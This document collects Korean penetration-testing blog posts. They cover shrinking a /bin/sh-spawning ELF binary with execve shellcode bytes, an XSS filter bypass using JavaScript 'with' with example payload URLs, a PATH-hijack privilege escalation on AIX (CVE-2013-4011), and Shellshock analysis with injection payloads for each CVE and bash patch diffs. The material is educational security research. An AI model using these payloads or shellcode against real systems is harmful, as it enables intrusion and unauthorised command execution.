1. Linux ELF Binary Hack #1 (언어론적 고찰)

2. Linux ELF Binary Hack #2 (구조론적 고찰)


지난번에 다루었던 1. Linux ELF Binary Hack #1 (언어론적 고찰)편에서는 단순히 프로그래밍 언어에 한정하여 파일의 크기를 줄이는 시도를 했었다면 이번에는 실행파일 구조의 특성과 툴을 사용하는 방법들을 통해 접근해보고자 합니다.


먼저 ELF 파일 포멧을 알아보는 툴로 objdump라는 툴이 있습니다.

해당 툴을 이용해 ELF 파일 포멧 구조를 대강 알 수 있는데, 다음과 같이 활용 해 볼 수 있습니다.


[그림 1] objdump툴의 -S 옵션으로 바이너리 분석


위 그림은 objdump툴로 디스어셈블(Disassemble)해 본 화면입니다.

main 함수의 주소는 0x08048374이며, _start 영역에서 해당 main 함수의 주소를 stack에 저장하는 것을 볼 수 있습니다.

이러한 과정은 왜 거치는 것일까요?

다음 Link에는 Linux에서 main 함수가 어떻게 실행되는지 간략하게 설명되어 있습니다. 참조하시면 도움이 되실 듯 합니다.


http://www.tldp.org/LDP/LGNET/issue84/hawk.htmlHow main() is executed on Linux By Hyouck "Hawk" Kim


objdump 툴을 사용해 _start 함수의 정보를 알아내고 해당 주소가 바이너리의 어느 부분에 존재하는지 찾아보았습니다. 


[그림 2] 바이너리 파일 내에 존재하는 start 함수 주소


해당 내용을 조금 더 자세하게 확인하기 위해 ELF 파일포멧의 구조체가 정의된 헤더파일을 참조해 보았습니다.


[그림 3] ELF 정의 구조체와 실제 바이너리 파일 비교


ELF 파일 포멧의 구조들을 확인 한 후 프로그램 시작점을 main 함수 대신 _start 함수로 정의하면 어떨까 생각해 보았습니다.

다음은 main 을 함수의 시작으로 정의하지 않고 _start를 프로그램의 시작으로 정의하여 Assembly 소스코드를 작성하고 컴파일 해 보았습니다.


[그림 4] gcc 컴파일러의 -nostdlib 옵션 사용


처음 시도 시, _start 함수에 대해 "다중 정의 에러"라고 컴파일 되지 않았던 문제는 gcc 의 -nostdlib 옵션을 사용해 컴파일 한 결과 정상적으로 컴파일 및 실행이 되는 것을 확인 할 수 있습니다.

gcc 의 -nostdlib 옵션에 대해 man 페이지는 다음과 같이 설명되어 있습니다.


       -nostdlib

           Do not use the standard system startup files or libraries when

           linking.  No startup files and only the libraries you specify will

           be passed to the linker.  The compiler may generate calls to "mem-

           cmp", "memset", "memcpy" and "memmove".  These entries are usually

           resolved by entries in libc.  These entry points should be supplied

           through some other mechanism when this option is specified.


           One of the standard libraries bypassed by -nostdlib and -nodefault-

           libs is libgcc.a, a library of internal subroutines that GCC uses

           to overcome shortcomings of particular machines, or special needs

           for some languages.


           In most cases, you need libgcc.a even when you want to avoid other

           standard libraries.  In other words, when you specify -nostdlib or

           -nodefaultlibs you should usually specify -lgcc as well.  This

           ensures that you have no unresolved references to internal GCC

           library subroutines.  (For example, __main, used to ensure C++ con-

           structors will be called.)


대략적으로 gcc의 -nostdlib 옵션을 사용하여 컴파일 하는 경우 링크 시에 기본적인 시스템 초기 라이브러리들을 링크하지 않는다는 내용입니다. 따라서 기존에 _start가 정의되어 있던 라이브러리는 배제하고 Object 파일을 생성할 수 있고, "다중 정의 에러"를 회피 할 수 있습니다.

결과적으로 main 대신 _start를 프로그램 시작점으로 사용하고 기본 라이브러리를 배제하는 형태로 472바이트의 쉘 실행 바이너리를 만들어 낼 수 있었습니다.

여기서 조금 더 욕심을 내어 shellcode 작성과 같이 NUL문자(0x00)를 제거하는 형태로 수정해 보기로 하였습니다.


[그림 5] Assembly 상태의 0x00 코드 제거


수정을 해 보았지만 파일 크기에 큰 변화가 있지는 않았습니다.

마지막으로 조금 더 바이너리를 작게 만들기 위해 극단적인 시나리오를 생각해 보았습니다.


"이미 쉘 실행이 되어 있는 상태는 메모리에 프로세스 이미지로 존재하는 상태이므로, 이후 정리작업에 필요한 코드를 삭제해보자"


따라서 기존 바이너리에서 쉘 실행 이후 사용될 법한 부분들을 삭제해보기로 하였습니다.


[그림 6] dd로 바이너리 파일 쪼개기


쉘 실행에 필요한 부분은 int 0x80 (0xCD 0x80)까지 이므로, 이후의 내용은 모조리 날려보았습니다.

그렇게 하여 109바이트짜리 Linux 실행 파일이 만들어졌고, 정상적으로 동작하는 것도 확인 할 수 있었습니다. 


이러한 실행파일이 절대 정상적으로 만들어진 실행파일이라고 볼수는 없지만, 서버 내부에 컴파일이 안되는 환경이나 기존에 의도한 동작을 수행하는 바이너리를 생성하도록 만든 exploit을 만들 시, 코드 형태로 쉽게 만들 수 있는 등의 용도로 활용될 수 있습니다.

더욱이 이러한 작업(혹은 삽질?^^;)들을 통해 개인의 지식이 발전함은 말할 나위 없겠지요...


이상 Linux기반에서 바이너리 파일의 크기를 줄이기 위한 삽질기였습니다.


아무튼 많이 쌀쌀해진 날씨에 감기 조심하시고 이러한 보잘것 없는 삽질기라도 읽어주셔서 감사합니다. ^^

더욱 발전하는 TeamCR@K이 되겠습니다. 

감사합니다.


1. Linux ELF Binary Hack #1 (언어론적 고찰)

2. Linux ELF Binary Hack #2 (구조론적 고찰)


웹 어플리케이션을 타겟으로 한 공격을 방지하도록 만든 웹 방화벽(Web Application Firewall), 침입탐지시스템(Indrusion Detection System)에서 출발하여 이제는 탐지와 방지를 겸하는 침입방지시스템(Intrusion Prevention System)까지...

공격기법만 발전하는것이 아니라 그에 비례하여 보안장비 및 정책 또한 발전이 계속되고 있는데요..

웹 방화벽이나 침입방지시스템에서 공격을 탐지하기 위해 사용되는 패턴은 계속 업데이트 되고 있으며, 이러한 보안정책들을 우회하는 기법 또한 다양하게 발전하고 있습니다.


침입탐지시스템을 NIDS(Network based Intrusion Detection System)으로 구성할 것이냐 HIDS(Host based Intrusion Detection System)으로 구성할 것이냐를 놓고 보안 실무자들이 고민하던 시절, 탐지 패턴을 우회하기 위해 고민을 했던 사람들도 있었습니다. PTer (Penetration Tester)라고 부르며, 현재의 모의해킹을 수행하는 컨설턴트를 일컫는 말이었습니다.

IDS 탐지 패턴의 경우 Remote Buffer Overflow 공격에 많이 사용됐던 NOP 코드(0x90)를 추가하거나, x86 기반 shellcode에서 시스템 콜을 실행하기 위해 반드시 필요한 int 0x80(0xCD 0x80)을 추가하기도 했었습니다.

또한 이러한 패턴들을 우회하기 위해 Encoding 된 shellcode를 사용하는 우회기법부터 stack 상 code 실행을 불가하게 만든 시스템을 우회하기 위해 ROP를 구성하여 Exploit을 하는 기법까지 다양한 우회기법이 존재합니다.

이렇게 만들어진 shellcode들은 Programming Hack을 통해 가능한 작게 만들어지도록 변경되기도 하였습니다.

한 때에는 이러한 Hack을 개인프로젝트로 했었는데 이번에는 잠시 그에 대해 공유해볼까 합니다.

Hack의 목적은 "리눅스 바이너리 파일의 크기 줄이기"이고, 해당 주제를 프로그래밍 언어의 관점과 바이너리의 구조적 특성 및 변조 툴을 이용할 수 있는 관점. 두 가지 관점에서 정리해 보도록 하겠습니다.


Hack을 시도하려는 대상은 다음의 소스코드를 Compile한 바이너리 파일입니다.

/*

* 0.c

*/

#include <stdio.h>

#include <unistd.h>


int main(void)

{

        char *sh[2] = { "/bin/sh", NULL };


        execve(sh[0], sh, NULL);

        return 0;

}


/bin/sh 경로의 쉘을 실행시키도록 되어 있는 C언어로 만들어진 소스코드입니다.

해당 소스코드를 컴파일 하면 다음과 같이 정상적으로 쉘을 실행시키는 모습을 볼 수 있습니다.


[그림 1]  0.c 컴파일 후 실행 화면


여기서 잠깐, 구조론적 관점인 것 같지만 여러분들은 컴파일러를 사용해 바이너리 파일을 생성할 때, 내부적으로 어떻게 만들어지는지 아시나요?

gcc를 예로 든다면, 다음의 과정을 거치는 것을 확인할 수 있습니다.


1. C언어 소스코드를 Assembly 소스코드로 변환

2. 변환된 Assembly 소스코드를 사용해 Object 파일 생성

3. 생성된 Object 파일과 기본 라이브러리를 링크하여 실행 가능한 파일(Executable File) 생성


C언어는 사람이 이해하거나 유지보수가 가능하도록 High-Level 형태로 구조화 한 프로그래밍 언어이고, 이를 컴파일러(Compiler)라는 매개체를 사용해 실행 가능한 파일(Executable File)로 만들게 되어 있습니다.

다음 그림은 실제 gcc 컴파일러를 사용해 C언어 소스코드가 실행 파일로 변환되는 과정을 system call tracer로 분석 해 본 화면입니다. 


[그림 2]  gcc 컴파일러의 내부 동작


위 그림을 보면 C언어로 만들어진 소스코드가 cc1 명령어를 통해 확장자 *.s를 가진 파일을 생성한 후, as를 통해 Object 파일을 생성하는 것을 볼 수 있습니다.

또한 *.s 확장자를 가진 파일을 살펴보면, Assembly 언어의 파일임을 알 수 있습니다.


[그림 3]  cc1으로 0.c 파일의 Assembly 코드 생성


그렇다면, 처음부터 C언어가 아닌 Assembly 언어 상태의 파일을 컴파일 하면 바이너리 파일의 크기를 줄일 수 있지 않을까 생각해 봅니다.

다음은 /bin/sh의 쉘을 실행시키는 shellcode를 만들 때 사용되는 Assembly 소스코드입니다.

# 1.s

.globl main


main:

    xorl    %edx, %edx

    push    %edx

    push    $0x68732f6e

    push    $0x69622f2f

    movl    %esp, %ebx

    push    %edx

    push    %ebx

    movl    %esp, %ecx

    movl    $0x0b, %eax

    int     $0x80


위 코드를 컴파일 해서 실행해보면 정상적으로 실행되며, 파일의 크기 역시 기존 파일보다 작아진 것을 확인 할 수 있습니다.


[그림 4]  C코드와 Assembly코드의 컴파일 결과 비교


만약 위 Assembly 소스코드를 Exploit 할 때와 같이 shellcode 형태로 만들어 실행하면 파일의 크기도 조금 달라지겠죠.

이를 확인해보도록 합니다.


/*

* 2.c

*/

/*

08048374 <main>:

 8048374:       31 d2                   xor    %edx,%edx

 8048376:       52                      push   %edx

 8048377:       68 6e 2f 73 68          push   $0x68732f6e

 804837c:       68 2f 2f 62 69          push   $0x69622f2f

 8048381:       89 e3                   mov    %esp,%ebx

 8048383:       52                      push   %edx

 8048384:       53                      push   %ebx

 8048385:       89 e1                   mov    %esp,%ecx

 8048387:       89 d0                   mov    %edx,%eax

 8048389:       b0 0b                   mov    $0xb,%al

 804838b:       cd 80                   int    $0x80

*/

char shellcode[] =

        "\x31\xD2\x52\x68\x6E\x2F\x73\x68\x68\x2F"

        "\x2F\x62\x69\x89\xE3\x52\x53\x89\xE1\x89"

        "\xD0\xB0\x0B\xCD\x80";


int main(void)

{

        void(*f)(void) = shellcode;

        f();

        return 0;

}



[그림 5]  최종 컴파일 결과 비교


Assembly 코드를 objdump라는 툴을 이용하여 기계어로 뽑아낸 다음, 이를 변수화 하여 함수 포인터(Function Pointer)형태로 실행시키는 소스코드입니다.

Stack 실행 방지 기능으로 인해 -z execstack 옵션을 추가하여 재 컴파일 한 후에 정상적으로 쉘이 실행되는 것을 볼 수 있었습니다. 

그러나 Assembly 코드보다는 실행파일의 크기가 조금 커진것을 확인할 수 있습니다.


위 결과에서 보듯 파일의 크기는 C언어 > 함수 포인터를 사용하여 실행하는 shellcode > Assembly 순입니다.

전체적으로 보면 더 고칠 수 있는 부분이 있는 것 같습니다.

또한 겨우 몇 바이트 줄이기 위해 이런 삽질을 해야 하는가 하는 생각까지 들기도 합니다.

그래서 다음에는 실행파일 구조의 특성을 이용하거나 관련 툴을 사용하여 파일의 크기를 변조하도록 시도해보려고 합니다.

해당 방법을 사용하면 Linux ELF 실행파일의 크기가 획기적으로 작아지는 것을 확인하실 수 있습니다.


다음 2. Linux ELF Binary Hack #2 (구조론적 고찰) 편을 기대해주세요.


감사합니다.

모의해킹을 하다 보면 제일 많이 겪게되는 것이 방지대책에 막히게 되는 것일텐데요.

이전에 말씀드렸다시피 모의해킹은 취약점 점검이랑 달라서 우회기법도 포함하는 개념입니다.

상황이 이렇다 보니 모의해킹 진행 중 Server-Side Script 레벨이나 WAF(Web Application Firewall) 정책에 막히는 경우가 허다합니다.

오늘은 저희가 활용하고 있는 우회기법 중, 자바스크립트 'with' 구문을 사용하는 XSS 방지 우회 기법에 대해서 잠시 말씀드릴까 합니다.


여러가지 XSS 공격 방지 케이스들 중 본 페이지에서 우회를 시도하는 케이스는 다음과 같습니다.


<?php

// vuln.php

...

        $msg = $_GET['msg'];

        $pattern = '/document.cookie/i';

        $output = preg_replace($pattern, '', $msg);

...

?>


위 케이스는 일반적으로 "document.cookie" 문자열을 삭제 해 버리는 코드로, 저희가 실제 우회했던 케이스는 WAF 정책이었으나, 설명을 하기 위해 PHP 코드로 구현해 보았습니다.

물론 많은 분들이 아시는 것 처럼 위 코드에는 다음과 같은 XSS 방지 우회 방안이 있을 수 있습니다.


vuln.php?msg=<script>alert(documendocument.cookiet.cookie);</script>

 := vuln.php?msg=<script>alert(document.cookie);</script>


필터링 후의 문자열 상태를 예상해 Payload를 구성하는 방법인데, 본 페이지에서 다룰 방법은 위와 같은 방법이 아니라 여기까지만 언급하도록 하겠습니다.


우회방안이나 공격방안을 구성할 때 제일 좋은 것은, 대상을 구성하고 있는 'Standard 한 규격'을 참조하고 이를 이용하는 경우입니다.

이를 위해 인터넷에서 자바스크립트 명세서(Specification; 줄여서 흔히 스펙문서라 부릅니다)을 검색해 보았습니다.

저희가 구할 수 있었던 자바스크립트 명세서는 96년 마지막으로 작성된 1.1 버전이었으며, 이를 참조하였습니다.

자바스크립트 명세서 1.1 버전 80페이지에 보면 6.4.8 The with Statement 라는 항목으로 with 구문을 설명하고 있습니다.

해당 항목의 일부를 발췌하면 다음 내용과 같습니다.


6.4.8 The with Statement


The with statement establishes the default object for a set of statements. 

Within the set of statements, any property references that do not specify an 

object are assumed to be for the default object.


... 생략 ...


Example

The following with statement specifies that the Math object is the default 

object. The statements following the with statement refer to the PI property 

and the cos and sin methods, without specifying an object. JavaScript assumes 

the Math object for these references.


var a, x, y

var r=10

with (Math) {

a = PI * r * r

x = r * cos(PI)

y = r * sin(PI/2)

}


위 내용을 참조해 보면 with 구문 사용 시 특정 object를 명시하도록 되어있고, 이후의 블록안에서는 명시된 object의 멤버를 참조할 때, member 이름만 가지고도 접근 가능하도록 되어 있습니다.


with 구문에 대해 테스트 해 볼 요량으로 다음의 코드를 작성하였습니다.

<?php

Header("Set-Cookie: A3Security=TeamCR@K;");

$msg = $_GET['msg'];

$pattern = '/document.cookie/i';

$output = preg_replace($pattern, '', $msg);

echo "<html><body><head><title>XSS Test</title></head>";

echo "Code: " . htmlspecialchars($output) . "<BR>";

echo "Execution: $output<BR>";

echo "</body></html>";

?>


위 코드를 작성하고 실행하는 순간 다음과 같은 에러가 발생하였습니다.


[그림 1] XSS 방지 (IE)


웹 브라우져 차원에서 특정 URL을 요청하는 사용자 입력 값을 검사하여 XSS 공격 패턴을 차단하고 있는 기능입니다.

PHP 실행 레벨에서 document.cookie 문자열은 삭제되었지만 웹 브라우져 레벨에서 스크립트가 차단당하여 alert 창이 실행되지 않는 모습입니다.

해당 기능은 다음의 설정을 통해 비활성화 할 수 있습니다.


[그림 2] XSS 방지 기능 비활성화 방법 (IE)


'XSS 필터 사용' 항목을 '사용 안 함'으로 설정하면 XSS 방지 기능을 비활성화 시킬 수 있으나, XSS 취약점이 사용자 입력 값에만 의존하고 있지 않기 때문에 그냥 소스코드를 수정하는 방향으로 테스트 해 보았습니다.


다음은 XSS 공격 방지를 우회하기 위해 테스트 한 자바스크립트 코드입니다.


<script>with(document) { alert(cookie); }</script>


아래 화면은 IE에서 테스트 한 화면입니다.


[그림 3] with 구문을 사용한 XSS 공격 방지 우회 (IE)


Chrome에서 테스트 한 화면입니다.

[그림 4] with 구문을 사용한 XSS 공격 방지 우회 (Chrome)


우회방안을 고민할 때마다 느끼는 것이지만, 시간이 지날수록 우회방안은 날로 발전하니 이에 대해 지속적으로 관심을 가지는것이 필요할 것 같습니다.


날씨가 많이 쌀쌀해진 10월입니다..

요즘은 아침과 한 낮의 온도차가 너무 심하네요.. ^^;

간절기에 모두들 건강하신지 모르겠습니다


오늘은 모의해킹 도중 있었던 일로 한번쯤은 되짚어 보고 넘어가 봐야 하는 것들이 아닌가 해서 한번 올려봅니다..


저희 TeamCR@K에서는 신입팀원들에게 모의해킹 시 주의사항에 대해 교육을 하는데요.

SQL Injection 시도 시 UPDATE, DELETE, CREATE, INSERT 등의 SQL 구문 실행 금지 항목도 있고..

여러 항목들 중 하나가 "Exploit 실행 금지" 항목입니다.

사실, Exploit 실행 금지에 대해 여러 의견이 많습니다.


해당 항목이 존재하는 제일 첫번째의 이유는 아무래도 "고객사 서버의 안정성"이겠네요..

고전해킹으로 분류되는 Race Condition과 같은 기법은 노후화 된 장비에 무리를 줄 수 있고,  Server Daemon을 공격하는 Remote Exploit의 경우 대고객 서비스에 장애를 일으킬지 모르며, 더 나아가 결제와 관련된 시스템일 경우 그 피해는 상상을 초월할테니까요..

또한 최근 리눅스 계열 배포판에서 많이 도출되는 취약점의 경우는 Kernel Exploit 들이 많습니다.

Kernel Exploit의 경우 실행결과가 Crash로 나타나는 형태가 많기 때문에 Kernel Panic으로 인한 실 서버 다운 등의 사태로 이어질 수 있어 이를 금지하고 있습니다.


Exploit 실행을 금지하는 또 하나 지적되는 문제로서는 Script Kiddies와도 관련이 깊을것이라 추측하고 있습니다.

쉽게 이야기하자면 "Exploit Code를 이해하지 못하는 수행인원으로부터 나오는 위험성"이겠네요.

Exploit의 취약점을 이해하지 못하고(하려 하지도 않고) Exploit 하는 행위만을 학습하는 결과가 아닐까 생각됩니다.

그 결과, 고객사 서버 안정성에 위해를 가하는 것으로 귀결될테니까요..


어찌됐든 지난 주 AIX 시스템에 접근할 기회가 생겼습니다.

일반 사용자 권한이었기에 시스템 관리 권한을 획득하기 위해 고객사에 양해를 구한 후 CVE-2013-4011에 해당하는 취약점을 공격하여 root 권한을 획득하였습니다.


[그림 1] CVE-2013-4011 취약점 공격


취약점이 존재하는 명령어는 /usr/sbin/ibstat 명령어로, 이는 root의 SetUID bit가 적용되어 있는 명령어입니다. ibstat 프로그램은 "arp"라는 외부 명령어를 실행하는데, 이 때 "arp"가 SheBang 형태로 실행되기 때문에 프로그램 실행 경로인 PATH 환경변수를 조작하여 제작자가 의도한 "arp" 프로그램 대신 악의적으로 생성한 프로그램을 실행하도록 할 수 있습니다.


해당 취약점은 이미 2013년에 IBM에서 공식적인 보안패치를 공개한 취약점입니다.


http://www-01.ibm.com/support/docview.wss?uid=isg1SSRVPOAIX61SECURITY130716-1109


PATH를 조작하여 상위권한을 획득하는 형태의 Exploit은 주로 외부 프로그램을 실행할 때 system이나 popen 등의 함수를 사용하는데에서 기인합니다.

다음의 그림에서 보시는 경우도 같은 맥락입니다.


[그림 2] 외부프로그램 실행의 예


위 프로그램을 strace로 분석하면 다음과 같습니다.


[그림 3] 외부프로그램 실행 순서


PATH의 구분자는 ':' 문자이며, 왼쪽에 설정되어 있는 PATH일수록 우선순위가 높습니다.

"[그림 2] 외부프로그램 실행의 예" 그림에 나와있는대로 PATH설정을 할 경우 PATH는 다음과 같은 형태로 설정됩니다.


.:/usr/lib64/qt-3.3/bin:/usr/local/bin:/bin/usr/bin:/usr/local/sbin:/usr/sbin:/sbin:/home/indra/bin


맨 왼쪽에 설정되어 있는 PATH가 . (현재디렉터리)이므로 현재디렉터리에 있는 "sh"나 "ls"를 먼저 찾게 됩니다.

PATH는 사용자가 지정할 수 있는 환경변수이며, system 계열의 함수는 이러한 PATH 환경변수의 특성을 타게 되는데

악의적인 사용자의 조작된 PATH에 의해 공격에 노출되는 경우입니다. 


예전에 워게임이라는 레벨별 시스템 해킹 게임이 유행할때, 해커스랩 FHZ이라는 워게임이 있었습니다.

"뚫어볼테면 뚫어봐!"라는 의미로 서버 이름도 DRILL서버로 명명했던 것이 기억이 납니다.

그 당시 해커스랩 워게임 레벨 문제에 이와 같이 PATH 환경변수를 조작하여 푸는 문제가 있던 것으로 기억됩니다. 

지금으로부터 15년쯤전이니까.. 시간이 많이 흘렀네요..


현재의 리눅스 배포판들은 이러한 형태의 취약점은 거의 존재하지 않습니다.

물론 일반 웹 어플리케이션은 지금도 보안취약점이 발견되어 패치되고 있지만 기본 탑재되는 시스템 어플리케이션에 한정해서는

환경변수의 조작 (PATH/IFS), 특수문자의 사용 (;, |, `)  등으로 인한 소위 "고전 해킹" 방법에 의한 보안취약점 노출은 많이 줄어들었습니다.

해커스랩 워게임을 즐겨하고 시스템 분석을 좋아하던 시절, IBM의 AIX나 HP-UX, Irix, Tru64 등등은 욕망(?)의 대상이었습니다.

일반인들은 당연히 접근하지 못하는 시스템이었고, 보안권고문 같은 곳에서만 그 흔적을 찾을 수 있었을 뿐.. Unix 클론인 리눅스에 만족할 수 밖에 없던 시절이라고 기억됩니다.


고전해킹으로 분류되는 기법이 현재 발견되는 보안취약점에도 활용 될 수 있다는 사실에는 만감이 교차합니다.

여타 Unix 시스템들은 지금도 접근하기 쉽지 않다는 그 특수성에 의해 분석되기 쉽지 않다는 이유와 함께..

현재의 리눅스 시스템은 오히려 사람들 앞에 오픈되어 수 많은 리눅스 관련 어플리케이션 개발자, 커널 커미터, Errata 버그 보고자들의 노력으로 이뤄진 성과가 아닐까 싶기도 합니다.


뚫는 것 보다 막는 것이 어렵다.. 라는 것을 다시 한번 느끼기도 하면서 수 많은 리눅스 관련 개발자들에게 다시한번 경외심이 드는 케이스가 아닐까 합니다.. ^^

Shellshock 분석 및 테스트

취약점 분석/2009년 이후 2014. 10. 15. 01:56 Posted by TEAMCR@K

Shellshock 분석 및 테스트


maz3 (maz3@a3security.com)

CrazyPure (jschoi@a3security.com)


Shellshock 취약점은 리눅스를 포함한 유닉스 계열 운영체제에서 사용되는 명령어 실행 툴인 bash로부터 발생하는 취약점입니다.

취약한 버전의 bash를 사용하는 것으로 보안위협에 노출될 수 있으며, 이에 대해 특수문자를 사용하거나 메모리 실행 오류를 이용하여 임의의 명령어를 실행하도록 하는 등의 위협 시나리오가 거론되고 있습니다.


Shellshock 보안취약점의 알려진 내용은 다음과 같습니다.


* 공통 사항: 취약한 bash 버전의 쉘을 사용하고 있어야 함

1. 파싱 오류로 인한 보안 취약점 노출: 특정 프로세스를 생성하는 등의 행위를 하는 모듈이 동작해야 함 (Ex: Enabled CGI module on the apache web server)

2. 메모리 실행 오류로 인한 보안 취약점 노출: 위의 공통 사항과 동일


초기 Shellshock 보안취약점이 알려지기 시작할 때에는 특수문자를 통해 bash의 환경변수를 조작하여 임의의 명령어를 실행하는 것으로 알려졌고 특성을 타는 취약점이라는 이해 아래 공식적인 취약점 보완 절차가 이루어졌지만, 이후 알려진 메모리 실행 오류의 보안취약점으로 인해 현재에는 무조건 bash를 최신버전으로 업데이트 해야 하는 상황으로 발전하게 됩니다.


다음은 현재까지 알려진 Shellshock 취약점 분류 내역입니다.


  CVE NAME

  Test Code

 Patch Notes

 CVE-2014-6271

User-Agent: () { :;}; /bin/bash -c "ping ${IP_ADDRESS} –c3"

 http://ftp.gnu.org/gnu/bash/bash-4.3-patches/bash43-025

 CVE-2014-6277

User-Agent: () { 0; }; /bin/bash -c 'x() { _; }; x() { _; } <<a;'

 http://ftp.gnu.org/gnu/bash/bash-4.3-patches/bash43-029

 CVE-2014-6278

 User-Agent: () { _; } >_[$($())] { id >/tmp/CVE-2014-6278; }

 http://ftp.gnu.org/gnu/bash/bash-4.3-patches/bash43-030

 CVE-2014-7169

 env X='() { (a)=>\' bash -c "echo date"

 http://ftp.gnu.org/gnu/bash/bash-4.3-patches/bash43-026

 CVE-2014-7186

 bash -c 'true <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF'

 http://ftp.gnu.org/gnu/bash/bash-4.3-patches/bash43-028

 CVE-2014-7187

 (for x in {1..200} ; do echo "for x$x in ; do :"; done; for x in {1..200} ; do echo done ; done) | bash || echo "CVE-2014-7187 vulnerable, word_lineno"

 http://ftp.gnu.org/gnu/bash/bash-4.3-patches/bash43-028


제일 처음 Shellshock 취약점으로 도출된 CVE-2014-6271의 케이스로 다음 테스트들을 진행해 보았습니다.


* CVE-2014-6271 테스트 #1: Apache CGI


먼저 취약점 점검 테스트용 환경 구성 후 bash를 사용하는 CGI 파일을 간단하게 작성하였습니다.



[그림 1] hello.cgi 작성


CGI의 URL과 Command를 입력받는 점검 스크립트를 실행하여 서버에 존재하는 /etc/passwd 파일의 내용을 확인 할 수 있습니다.



[그림 2] hello.cgi를 대상으로 공격 시도 및 결과


위 점검 스크립트 내용의 일부입니다.



[그림 3] 공격 시도 프로그램 소스코드의 일부


해당 스크립트는 'User-Agent' HTTP 헤더에 코드를 삽입하여 CGI가 실행될 때, 임의의 명령어가 실행되도록 작성하였습니다.

임의의 명령어가 실행된다면 Reverse Connection도 가능하므로 스크립트를 수정하여 실행해 보았습니다.



[그림 4] Reverse Connection을 사용하도록 소스코드 수정


정상적으로 Reverse Connection이 실행되는 것을 확인 할 수 있습니다.



[그림 5] Reverse Connection 실행 결과


* CVE-2014-6271 테스트 #2: OpenSSH


OpenSSH의 경우 sshd_config에서 설정 가능한 ForceCommand 옵션이나 authorized_keys에서 설정하도록 되어 있는 command 옵션이 존재합니다.
해당 옵션들은 제한된 명령어만 사용하도록 설정하는 옵션이나, 본 취약점에 노출될 경우 정해진 명령어가 아닌 허용되지 않은 다른 명령어들에 대해 실행이 가능합니다.


[그림 6] OpenSSH 공격용으로 스크립트 수정



[그림 7] 취약점 공격으로 ForceCommand 옵션 설정을 우회


공격코드가 실행되면 클라이언트는 $SSH_ORIGINAL_COMMAND라는 환경변수를 서버측에 전달하게 되는데 이 때 공격에 노출되어 허용된 명령어가 아닌 타 명령어가 실행 가능하게 됩니다. 

OpenSSH의 경우 ForceCommand 등의 설정을 사용하는 서버가 공격에 취약합니다.


다음은 CVE-2014-6271 외 다른 취약점들을 테스트 해 보았습니다.


* CVE-2014-6277 테스트: 


CGI 페이지 호출 시, User-Agent 파라미터에() { 0; };코드를 삽입하여 쉘이 실행되도록 한 후 메모리 실행 오류를 발생시키는 'x() { _; }; x() { _; } <<a;'코드를 삽입하였고, apache의 errer.log를 확인한 결과 메모리 실행 오류가 발생하는 것을 확인하였습니다.


[그림 8] CVE-2014-6277 취약점 공격 시도



[그림 9] CVE-2014-6277 취약점 공격 결과


* CVE-2014-6278 테스트: 


CGI 페이지 호출 시 User-Agent 파라미터에‘() { _; } >_[$($())] { cmd; }’코드를 삽입하여 웹 서버를 대상으로 한 임의의 명령어가 실행 가능한 것을 확인하였습니다.


[그림 10] CVE-2014-6278 취약점 공격 시도




[그림 11] CVE-2014-6278 취약점 공격 결과


* CVE-2014-7169 테스트: 


환경변수 선언 시 '() { (a)=>\' 코드를 입력하여 쉘을 이용한 명령어 실행이 가능한 것을 확인하였습니다.



[그림 12] CVE-2014-7169 취약점 테스트 결과


* CVE-2014-7186 테스트: 


Bash 쉘을 통해 다중 문서를 중첩하여 호출 시, 메모리 실행 오류가 발생하는것을 확인하였습니다.


[그림 13] CVE-2014-7186 취약점 테스트 결과



다음은 각 취약점들에 대한 패치를 잠시 보도록 하겠습니다.

* CVE-2014-6271-Patch
Bug-Description:

Under certain circumstances, bash will execute user code while processing the
environment for exported function definitions.
*** ../bash-4.3-patched/builtins/common.h	2013-07-08 16:54:47.000000000 -0400
--- builtins/common.h	2014-09-12 14:25:47.000000000 -0400
***************
*** 34,37 ****
--- 49,54 ----
  #define SEVAL_PARSEONLY	0x020
  #define SEVAL_NOLONGJMP 0x040
+ #define SEVAL_FUNCDEF	0x080		/* only allow function definitions */
+ #define SEVAL_ONECMD	0x100		/* only allow a single command */
  
  /* Flags for describe_command, shared between type.def and command.def */
*** ../bash-4.3-patched/builtins/evalstring.c	2014-02-11 09:42:10.000000000 -0500
--- builtins/evalstring.c	2014-09-14 14:15:13.000000000 -0400
***************
*** 309,312 ****
--- 313,324 ----
  	      struct fd_bitmap *bitmap;
  
+ 	      if ((flags & SEVAL_FUNCDEF) && command->type != cm_function_def)
+ 		{
+ 		  internal_warning ("%s: ignoring function definition attempt", from_file);
+ 		  should_jump_to_top_level = 0;
+ 		  last_result = last_command_exit_value = EX_BADUSAGE;
+ 		  break;
+ 		}
+ 


파서 실행 중 넘어 온 플래그에 함수 정의(Function Definition)를 명시했을 때 다시 타입을 비교해서 맞지 않으면 예외처리 합니다.


* CVE-2014-6277-Patch

Bug-Description:

When bash is parsing a function definition that contains a here-document
delimited by end-of-file (or end-of-string), it leaves the closing delimiter
uninitialized.  This can result in an invalid memory access when the parsed
function is later copied.

*** ../bash-4.3.28/make_cmd.c 2011-12-16 08:08:01.000000000 -0500 --- make_cmd.c 2014-10-02 11:24:23.000000000 -0400 *************** *** 693,696 **** --- 693,697 ---- temp->redirector = source; temp->redirectee = dest_and_filename; + temp->here_doc_eof = 0; temp->instruction = instruction; temp->flags = 0; *** ../bash-4.3.28/copy_cmd.c 2009-09-11 16:28:02.000000000 -0400 --- copy_cmd.c 2014-10-02 11:24:23.000000000 -0400 *************** *** 127,131 **** case r_reading_until: case r_deblank_reading_until: ! new_redirect->here_doc_eof = savestring (redirect->here_doc_eof); /*FALLTHROUGH*/ case r_reading_string: --- 127,131 ---- case r_reading_until: case r_deblank_reading_until: ! new_redirect->here_doc_eof = redirect->here_doc_eof ? savestring (redirect->here_doc_eof) : 0;


스크립트가 끝나는 지점인 EOF(End Of File)를 체크할 수 있도록 특정 구조체에 변수를 추가하여 초기화 해 줍니다.


* CVE-2014-6278-Patch

Bug-Description:

A combination of nested command substitutions and function importing from
the environment can cause bash to execute code appearing in the environment
variable value following the function definition.
*** ../bash-4.3.29/parse.y	2014-10-01 12:58:43.000000000 -0400
--- parse.y	2014-10-03 14:48:59.000000000 -0400
***************
*** 2539,2542 ****
--- 2539,2552 ----
  }
  
+ char *
+ parser_remaining_input ()
+ {
+   if (shell_input_line == 0)
+     return 0;
